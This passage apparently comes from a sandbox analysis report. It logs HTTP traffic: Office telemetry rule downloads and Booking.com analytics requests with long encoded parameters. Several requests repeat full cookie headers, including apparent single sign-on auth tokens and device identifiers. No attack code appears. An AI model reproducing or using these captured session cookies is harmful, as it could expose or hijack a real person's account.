pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413036362d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31313633262668636b3f3126606073613f253d422d37402d3a3274253a302d304327323044495627323327303b464956273a332730322d324b333538393325354c273a412537422732326d6f253230273a413538312d3241373339253a41333f383133253d462d304327354025323276253230273a412532304c495427323b253a3146415e2532332d303a273241313530373627354427304b273542273a326f6f253a322d30413d3d3825324b373c362530433337303734253546273a412535402d32306f6d2d323a27304b3d3336253a413d37362732413137303b322537462d304325374a253030742d323a27304b2d323253584346273231253033412530332530302d3043313539323127354c253a41273d4a253232656f2d303227324135313627324337343e273243333f313031253d442d30412d3d4225323a762d303227324125323246495627303b2732334641562730332d323a27304b3937313330273d462530432735422530326d6f273a302532413c393b27324b353f34273a4b3137313b3a2d374427324125354227323276273a302532412d323046495e253a31273a3b4449562d303b273230253043313733363627374c273243273d42273032656d2d30302d3a4334383a273a41353a352732433135313634273d462532412d354027323a742d30302d3a4325323a464154253033273233444b562530312d303225304b3135333839253d46273a4b2535422d303a6f6d27323025324336363827304b373932273a4333353130312d37462d3a4325354a273a306d6f253032253241343537273a4135393b2d324133373a313f27374c2d3243253d402d30326f6d2732322530433436312d304336323e253041313f323b33273d4c2532432d374a2732306d6f25323227324336313b27324334393127304339373a37322d3d4425324b273d402530326f6d253230253241363a312532413e313427324b313f30343c2d3544253a412d37422732306d6d2530322530413c333525304b363033253a4339353030302535442d304b273540253032742530322530412d3032444b5e253031253a334c4b542d3a3325323a273a413135333234253546253241273d40253230656d2730322d324b36323f2d3243363a372d304333373130342537442530412d374225303a6d6f27323a253a413638382532433e3031273241313533343127354427304b273542273a326f6f253a322d30413b313425324b343b30253043333733383b253546273a412535402d32306f6d2d323a27304b3b3838253a413e313527324131373433302537462d304325374a2530306d65253a30273a4b3338332d304b34333a253043313736333127374c273243273d422730327c253a30273a4b2532324056454e253033273233253033646d617d6f656e762d323127323a253a41333f3c3637253d462d30432735402532326f6d2530302d3043333530253041363c302d3041393f3436372d374c2732412537422532306d6d27303a273243313f342730433e343b27304b393734383a273d462530432735422530326d6f273a302532413b373327324b363c37273a4b313734313a2d374427354626626871635f6b6c6c67783d333a HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptRefe
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413035302d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=39313724266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304331363525324334343627304b3337353030253746253a432d37402d3a326d6d2d303a27324133343425324136343a273a413137373c332737442d324b27374a2d32326d65273a3025304331363225304336363b2d304331353d363327354c253a41273d4a253232656f2d3032273241333539273243343739273243333f353534253d442d30412d3d4225323a6f65273230253043333535253241343d3025324139373432322d354c27304b2d3542253a30656f2530322732433337352530413e373325304b313534333f253d46273a4b2535422d303a6f6d27323025324331353327304b343534273a4333353630362d37462d3a4325354a273a306d6f253032253241333530273a413635372d324133373f333b27374c2d3243253d402d30326f6d2732322530433337322d304336373e253041313f373f3b273d4c2532432d374a2732306d6f253232273243313631273243343d3627304339373030342d3d4425324b273d402530326f6d253230253241313c3a2532413e353527324b313f3a36392d3544253a412d37422732306d6d2530322530413b363725304b363735253a4339353a3d3f2535442d304b2735402530326d6d27323227304b313436273a433437382d324b3335303f3225354c273a412537422732326d6f253230273a413334372d3241343530253a41333f303838253d462d30432735402532326f6d2530302d304333363c253041363d392d3041393f3930352d374c2732412537422532306d6d27303a273243313c332730433e363827304b393739353d273d462530432735422530326d6f273a302532413b343027324b363e32273a4b31383038362d37442732412535422732326f6f2d303225304b333630253a433e34332d3a43313838373a2735462530432535402532306f65273232273a433136312d324b3434392d32433130323136253744273243253742253030656f2532302d3241313439253a41343e3a253243393a39323827354625324327354227303a6f6d25303a253041333c302d30413e3e3225324b3330333331253744253241253540273a306d6d273a322730433b333127304b3e3632253a41393a3136342735442530432537402d30326d6f2d323027324b333b3a273a4b3636322d304b333830313225354427324327374a2732326f65253030253a433b31352d3a4336363a273a41313a323639253546253546246a6a73635d616e66677835313b HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfY
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413035332d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31313432262668636b3f3126606073613f253d422d37402d3a3274253a302d304327323044495627323327303b464956273a332730322d324b333a313a3225354c273a412537422732326d6f253230273a413336372d324137383e253a413330313232253d462d304327354025323276253230273a412532304c495427323b253a3146415e2532332d303a273241313a39343727354427304b273542273a326f6f253a322d30413b313025324b37393a2530433338393435253546273a412535402d323076253a322d30412d3a32464f5a4f2d303327323144495627323327303a2732433330393b37253d442d30412d3d4225323a6f65273230253043343131253241363d3525324139383b3b352d354c27304b2d3542253a307c273230253043253230444954273a312532314c495427323b253a30273a4b3139303c342d37442732412535422732326f6f2d303225304b343136253a433c32302d3a43313938363e273546253043253540253230762d303225304b2530305358414627303b2d3233627d767c6d6e273231253232273243333b383b3125374c253041253d422d303065652532322d304b3635302530433335302532413331323931273d442730432d354a27303a7c2532322d304b2732307377626d6976253231273a314449542d323127323a253a413331393234253d462d30432735402532326f6d2530302d30433434312530413338372d304139313132342d374c2732412537422532306d6d27303a2732433630342730433a363f27304b3939313330273d462530432735422530327427303a273243273a327667787c253a316e676f696e6e696f6d273231444b56253231253230273a413139333f312737442d324b27374a2d32326d65273a302530433639382530433231332d3043313b39373327354c253a41273d4a2532327c273a302530432732324c4342454e273a312532314c495427323b253a30273a4b31393130372d37442732412535422732326f6f2d303225304b353332253a43393b3a2d3a433139393a3d273546253043253540253230762d303225304b2530304441562d30312d3a3344495e273a31253032273243313b323030273d462532412d354027323a6d6527303a2d3243353a332d304333363b25324333393232302d374425304b253740253a327c27303a2d3243253a30403325303367396338343064312f3c3037382f3c3664602d6a383d612f6e31353961303b6b34653166273233444b562530312d303225304b313b30313e253d46273a4b2535422d303a6f6d27323025324337333127304b333432273a43333b3239362d37462d3a4325354a273a3074273230253243273232464b5e273233273a33464b562d323b27303a2d32433131303b30253744273243253742253030656f2532302d3241373438253a41333931253243393b3a313227354625324327354227303a762532302d324127323a444154273a3b2532334c4b5e273231253032253241313930373a273544273a432737422d323a6f6f2d3a3225324b373c3a2530433b37253241313930373a273544273d442460687b63576b6c6c6d783d313c HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b41303a392d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
